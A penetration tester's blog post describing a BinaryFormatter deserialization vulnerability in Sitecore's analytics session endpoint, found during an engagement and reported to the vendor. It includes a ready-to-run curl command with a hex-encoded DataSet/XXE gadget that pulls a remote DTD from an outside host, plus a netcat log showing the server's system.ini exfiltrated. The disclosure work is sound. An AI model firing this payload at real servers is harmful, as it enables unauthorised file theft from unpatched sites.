Today I am bringing you a PoC for an .NET deserialization vulnerability I found on an engagement in Sitecore, a popular CMS product used by companies large and small.

I didn’t know much about Sitecore, but I was told it was “just a static marketing site”. After hearing these words I always get suspicious, because these apps have a high chance of being misconfigured, forgotten about, and poorly patched / maintained.

Doing the usual recon, I found Sitecore had a number of CVEs, however most of them were XSS, relied on having administrative access, or were old. There is also a default credential issue with Sitecore. Because this was a fresh installation and installed by competent people, the admin login functionality and any admin page was blacklisted at the webserver level and the CMS instance was fresh and fully patched. No easy wins here.

The site really did not have any dynamic content. No authentication, no POST requests to be seen, and bruteforcing with dirsearch turned up nothing. I found a somewhat interesting xpath injection in the URL, but because it was in the path component of the URL, many special characters were blocked by the webserver and we could not do much of anything with it.

At this point, I took a step back and went over my notes. I thought to myself, okay, so this deployment of the sitecore doesn’t have anything going on, but what about a deployment that does? What would that look like? I started poking around at the CMS itself, and found a very interesting URL related to session management. When I was bruteforcing possible URLs, I got a very strange HTTP response back, shown below:

HTTP/1.1 500 Internal Server Error
Content-Length: 4084

<!DOCTYPE html>
        <title>Attempting to deserialize an empty stream.</title>
            <span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
            <h2> <i>Attempting to deserialize an empty stream.</i> </h2></span>
            <b> Exception Details: </b>System.Runtime.Serialization.SerializationException: Attempting to deserialize an empty stream.<br><br>

[SerializationException: Attempting to deserialize an empty stream.]

   System.Runtime.Serialization.Formatters.Binary.BinaryFormatter.Deserialize(Stream serializationStream, HeaderHandler handler, Boolean fCheck, Boolean isCrossAppDomain, IMethodCallMessage methodCallMessage) +14445867

   Sitecore.Analytics.Sessions.PushSession.ProcessRequest(HttpContext context) +114

   System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +798

   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean&amp; completedSynchronously) +91

As shown above, this endpoint appeared to be deserializing some of the HTTP request data using the BinaryFormatter .NET serialization format. This sounded really dangerous to me, and a quick google search later, I came across this blackhat paper:

Detailing a number of pitfalls with BinaryFormatter! I quickly found a blogpost with by agixid here:

That detailed the use of a memory corruption vulnerability to pop a shell via BinaryFormatter serialization. Because the engagement was not a red-team or high-risk enough to warrent researching and developing the binary exploit he used, I opted for a gadget that would give me an XXE, demonstrating the vulnerability exists.

I quickly threw together the following curl command to demonstrate the vulnerability:

curl -v --header "Content-Type;" -i -s -k -X POST --data-binary \@<(echo -n 0001000000ffffffff01000000000000000c020000004e53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d6237376135633536313933346530383905010000001353797374656d2e446174612e446174615365740300000017446174615365742e52656d6f74696e6756657273696f6e09586d6c536368656d610b586d6c446966664772616d0301010e53797374656d2e56657273696f6e0200000009030000000604000000ea033c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d3136223f3e3c21444f435459504520726f6f74205b203c21454e5449545920252072656d6f74652053595354454d2022716d2e6d642f782e786d6c22203e202572656d6f74653b2025706172616d313b2025747269636b3b205d3e0d0a3c78733a736368656d612069643d224e6577446174615365742220786d6c6e733d222220786d6c6e733a78733d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a6d73646174613d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a786d6c2d6d7364617461223e0d0a20203c78733a656c656d656e74206e616d653d224e65774461746153657422206d73646174613a4973446174615365743d227472756522206d73646174613a55736543757272656e744c6f63616c653d2274727565223e0d0a202020203c78733a636f6d706c6578547970653e0d0a2020202020203c78733a63686f696365206d696e4f63637572733d223022206d61784f63637572733d22756e626f756e64656422202f3e0d0a202020203c2f78733a636f6d706c6578547970653e0d0a20203c2f78733a656c656d656e743e0d0a3c2f78733a736368656d613e060500000080013c6469666667723a646966666772616d20786d6c6e733a6d73646174613d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a786d6c2d6d73646174612220786d6c6e733a6469666667723d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a786d6c2d646966666772616d2d763122202f3e04030000000e53797374656d2e56657273696f6e04000000065f4d616a6f72065f4d696e6f72065f4275696c64095f5265766973696f6e00000000080808080200000000000000ffffffffffffffff0b | xxd -r -p) https://vulnerablesite

Firing the payload off, and crossing my fingers waiting for the request to come back:

$ nc -vv -l -p 443
listening on [any] 443 ...
connect to [REDACTED] from (UNKNOWN) [REDACTED] 59218
GET /?;%20for%2016-serverbit%20app%20support%0D%0A%5B386Enh%5D%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A%5Bdrivers%5D%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A%5Bmci%5D HTTP/1.1
Connection: Keep-Alive

Success! The application deserialized the malicious object and helpfully sent me the contents of system.ini from the remote machine, demonstrating the vulnerability. In the future I hope to discover .NET gadgets that are as useful as Java deserialization gadgets and turn this into an exploit that does not rely on memory corruption for RCE. I reported the vulnerability to the vendor, and the details of the vulnerability are found here:

If you need help exploiting the vulnerability or want to know any additional details, feel free to reach out to me. Thanks.